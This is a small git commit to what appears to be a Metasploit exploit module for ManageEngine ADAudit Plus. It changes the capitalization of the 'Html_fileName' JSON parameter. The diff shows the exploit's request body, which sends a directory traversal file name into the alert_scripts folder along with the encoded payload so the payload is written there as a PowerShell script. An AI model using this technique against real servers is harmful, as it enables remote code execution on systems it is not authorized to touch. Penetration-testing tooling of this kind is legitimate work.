fix capitalization of Htlm_fileName JSON parram

This commit is contained in:
ErikWynter 2023-05-05 09:59:11 +03:00
parent 19651633c4
commit b8856bbb87
2 changed files with 4 additions and 4 deletions

View File

@ -10,7 +10,7 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData
# @option options [Integer] :GPO_VERSION The version number of the GPO GUID in use, or a random number from 1 to 9 if one is not supplied.
# @option options [String] :VER_FILE_NAME The version file name in a format that matches ADAudit Plus's VER_FILE_NAME format.
# @option options [String] :xmlReport An XML string containing the header to use for the report.
# @option options [String] :html_fileName The filename to use for the post request if provided.
# @option options [String] :Html_fileName The filename to use for the post request if provided.
# @option options [String] :htmlReport The location to save the HTML report if provided.
# @return [String] A string representation of the JSON hash matching the
# format required by the GPOWatcherData endpoint. Will be an empty string
@ -26,8 +26,8 @@ module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::JsonPostData
post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name
post_data['xmlReport'] = options['xmlReport'] || '<?xml version="1.0" encoding="utf-16"?>'
html_filename = options['html_fileName']
post_data['html_fileName'] = html_filename if html_filename
html_fileName = options['Html_fileName']
post_data['Html_fileName'] = html_fileName if html_fileName
html_report = options['htmlReport']
post_data['htmlReport'] = html_report if html_report

View File

@ -322,7 +322,7 @@ class MetasploitModule < Msf::Exploit::Remote
gpo_post_data = {
'DOMAIN_NAME' => @domain,
'html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed
'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed
'htmlReport' => payload.encoded
}